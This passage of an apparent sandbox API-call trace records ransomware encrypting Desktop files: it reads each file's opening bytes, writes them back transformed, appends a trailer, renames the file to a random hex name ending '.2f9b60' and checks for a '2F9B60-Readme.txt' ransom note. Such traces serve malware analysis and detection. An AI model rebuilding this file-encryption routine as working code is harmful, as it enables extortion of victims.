| out: Seed=0x22a4f6f0) returned 0x48220434 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x75592d1a [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x7916b38a [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x7b23628c [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x3913ec1e [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x37b9ae46 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x68260eb4 [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x5beb2d1f [0098.980] RtlRandomEx (in: Seed=0x22a4f6f0 | out: Seed=0x22a4f6f0) returned 0x7ffb6da2 [0098.991] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.991] ReadFile (in: hFile=0x14f0, lpBuffer=0x1cf35640, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22a4f760, lpOverlapped=0x0 | out: lpBuffer=0x1cf35640*, lpNumberOfBytesRead=0x22a4f760*=0x3c00, lpOverlapped=0x0) returned 1 [0098.991] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0098.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0098.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0098.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261370) returned 1 [0098.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf39250 [0098.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261370 [0098.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0098.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261430) returned 1 [0098.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0098.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0098.992] WriteFile (in: hFile=0x14f0, lpBuffer=0x1cf39250*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22a4f760, lpOverlapped=0x0 | out: lpBuffer=0x1cf39250*, lpNumberOfBytesWritten=0x22a4f760*=0x3c00, lpOverlapped=0x0) returned 1 [0100.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf39250) returned 1 [0100.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf35640) returned 1 [0100.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20263ce0 [0100.536] SetFilePointerEx (in: hFile=0x14f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.536] WriteFile (in: hFile=0x14f0, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x22a4f810, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x22a4f810*=0x108, lpOverlapped=0x0) returned 1 [0100.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0100.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0100.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261340) returned 1 [0100.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0100.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261340 [0100.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0100.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261310) returned 1 [0100.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0100.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f670 [0100.637] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="4d") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="5f") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="a0") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="e8") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="b1") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="61") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="2b") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="70") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="06") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="3a") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="73") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="6a") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="6b") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="1c") returned 2 [0100.637] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="57") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="d9") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="a3") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="1b") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="2f") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f698, _Format="%c%c" | out: _Dest="94") returned 2 [0100.638] sprintf (in: _Dest=0x1cd9f69a, _Format="%c%c" | out: _Dest="48") returned 2 [0100.638] RtlInitAnsiString (in: DestinationString=0x22a4f888, SourceString="4d5fa0e8b1612b70066b3a736a6b1c57d9a31b2f9448" | out: DestinationString="4d5fa0e8b1612b70066b3a736a6b1c57d9a31b2f9448") [0100.638] RtlAnsiStringToUnicodeString (in: DestinationString=0x22a4f858, SourceString="4d5fa0e8b1612b70066b3a736a6b1c57d9a31b2f9448", AllocateDestinationString=1 | out: DestinationString="4d5fa0e8b1612b70066b3a736a6b1c57d9a31b2f9448") returned 0x0 [0100.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e9c0 [0100.638] wcscat (in: _Dest=0x1b8665c0, _Source="4d5fa0e8b16" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16" [0100.638] wcscat (in: _Dest=0x1b8665c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16.2f9b60" [0100.638] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16.2f9b60", NtPathName=0x22a4f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4d5fa0e8b16.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0d30 [0101.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0d30) returned 1 [0101.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98530) returned 1 [0101.825] NtQueryInformationFile (in: FileHandle=0x14f0, IoStatusBlock=0x22a4f898, FileInformation=0x22a4f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22a4f898, FileInformation=0x22a4f8a8) returned 0x0 [0101.825] NtSetInformationFile (FileHandle=0x14f0, IoStatusBlock=0x22a4f898, FileInformation=0x22a4f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0102.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e9c0) returned 1 [0102.396] FlushFileBuffers (hFile=0x14f0) returned 1 [0102.404] CloseHandle (hObject=0x14f0) returned 1 [0102.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x20503710 [0102.766] wcscpy (in: _Dest=0x20503710, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0102.766] wcscat (in: _Dest=0x20503710, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0102.766] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0106.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0106.906] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864530) returned 1 Thread: id = 797 os_tid = 0x1358 [0098.994] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vx1Ng6n0ciWdEa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vx1ng6n0ciwdea.swf")) returned 0x20 [0098.994] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vx1Ng6n0ciWdEa.swf", dwFileAttributes=0x20) returned 1 [0098.995] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vx1Ng6n0ciWdEa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vx1ng6n0ciwdea.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f4 [0098.995] GetFileSizeEx (in: hFile=0x14f4, lpFileSize=0x22e0f800 | out: lpFileSize=0x22e0f800*=54180) returned 1 [0098.995] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0xd3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.995] ReadFile (in: hFile=0x14f4, lpBuffer=0x22e0f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22e0f7c8, lpOverlapped=0x0 | out: lpBuffer=0x22e0f780*, lpNumberOfBytesRead=0x22e0f7c8*=0x4, lpOverlapped=0x0) returned 1 [0098.996] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0098.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614c0 [0098.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0098.996] NtQuerySystemTime (in: CurrentTime=0x22e0f6c0 | out: CurrentTime=0x22e0f6c0*=132462177045118000) returned 0x0 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x2c9b1ac8 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x5e10fa28 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x5b425b30 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x40ad0986 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x53e04642 [0098.996] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x6702dfcc [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x16e909c5 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x5ee6aa2c [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x1e0a9296 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x1bef649c [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x63e1829e [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0xaa10dae [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0xc23927f [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x6e818413 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x45689af6 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x1873a3b7 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x5fa34330 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x6e57ce4b [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x7ef06189 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x698f9150 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x448ddef6 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x765d9e06 [0098.997] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x4d8c3ef5 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x4cf19c6d [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x7a36c647 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x283b76a1 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x5618a20 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0xcb28e95 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x30ef27f2 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x53510aef [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x7533f5d7 [0098.998] RtlRandomEx (in: Seed=0x22e0f6b0 | out: Seed=0x22e0f6b0) returned 0x6a87a2d0 [0099.008] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.008] ReadFile (in: hFile=0x14f4, lpBuffer=0x1cf3ce60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22e0f720, lpOverlapped=0x0 | out: lpBuffer=0x1cf3ce60*, lpNumberOfBytesRead=0x22e0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0099.008] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866540 [0099.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0099.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261430) returned 1 [0099.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf40a70 [0099.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261430 [0099.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202614f0 [0099.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202614f0) returned 1 [0099.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866540) returned 1 [0099.009] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.009] WriteFile (in: hFile=0x14f4, lpBuffer=0x1cf40a70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22e0f720, lpOverlapped=0x0 | out: lpBuffer=0x1cf40a70*, lpNumberOfBytesWritten=0x22e0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0100.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf40a70) returned 1 [0100.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf3ce60) returned 1 [0100.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f1f0 [0100.538] SetFilePointerEx (in: hFile=0x14f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.538] WriteFile (in: hFile=0x14f4, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x22e0f7d0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x22e0f7d0*=0x116, lpOverlapped=0x0) returned 1 [0100.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0100.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420560b0 [0100.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0100.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0100.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85f9d0 [0100.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0100.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a10 [0100.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a10) returned 1 [0100.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420560b0) returned 1 [0100.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0100.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b858cd0 [0100.940] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="3f") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="84") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="f5") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="83") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="e3") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="8f") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="f8") returned 2 [0100.940] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="fa") returned 2 [0100.941] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="a2") returned 2 [0100.941] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="b2") returned 2 [0100.941] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="a7") returned 2 [0100.941] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="01") returned 2 [0100.941] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="d0") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="19") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="40") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="9a") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="81") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="cf") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="c3") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="32") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="5e") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="02") returned 2 [0100.941] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="a8") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="8b") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="8c") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="20") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="d6") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="8f") returned 2 [0100.941] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="b3") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="55") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="6f") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="89") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="f6") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="ad") returned 2 [0100.942] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="cd") returned 2 [0100.942] RtlInitAnsiString (in: DestinationString=0x22e0f848, SourceString="3f84f583e38ff8faa2b2a701d019409a81cfc3325eee02a88b8c20d68fb3556f89f6adcd" | out: DestinationString="3f84f583e38ff8faa2b2a701d019409a81cfc3325eee02a88b8c20d68fb3556f89f6adcd") [0100.942] RtlAnsiStringToUnicodeString (in: DestinationString=0x22e0f818, SourceString="3f84f583e38ff8faa2b2a701d019409a81cfc3325eee02a88b8c20d68fb3556f89f6adcd", AllocateDestinationString=1 | out: DestinationString="3f84f583e38ff8faa2b2a701d019409a81cfc3325eee02a88b8c20d68fb3556f89f6adcd") returned 0x0 [0100.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b1410 [0100.942] wcscat (in: _Dest=0x202af580, _Source="3f84f583e38ff8faa2" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2" [0100.942] wcscat (in: _Dest=0x202af580, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2.2f9b60" [0100.942] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2.2f9b60", NtPathName=0x22e0f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3f84f583e38ff8faa2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202adce0 [0109.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adce0) returned 1 [0109.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a3d0) returned 1 [0109.060] NtQueryInformationFile (in: FileHandle=0x14f4, IoStatusBlock=0x22e0f858, FileInformation=0x22e0f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22e0f858, FileInformation=0x22e0f868) returned 0x0 [0109.060] NtSetInformationFile (FileHandle=0x14f4, IoStatusBlock=0x22e0f858, FileInformation=0x22e0f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af580) returned 1 [0109.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1410) returned 1 [0109.062] FlushFileBuffers (hFile=0x14f4) returned 1 [0109.064] CloseHandle (hObject=0x14f4) returned 1 [0109.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8667c0 [0109.065] wcscpy (in: _Dest=0x1b8667c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.065] wcscat (in: _Dest=0x1b8667c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.065] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0109.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ec0) returned 1 Thread: id = 798 os_tid = 0x135c [0099.011] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaBA5Za0Mj1wDVytkD6.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\waba5za0mj1wdvytkd6.odt")) returned 0x20 [0099.011] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaBA5Za0Mj1wDVytkD6.odt", dwFileAttributes=0x20) returned 1 [0099.011] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 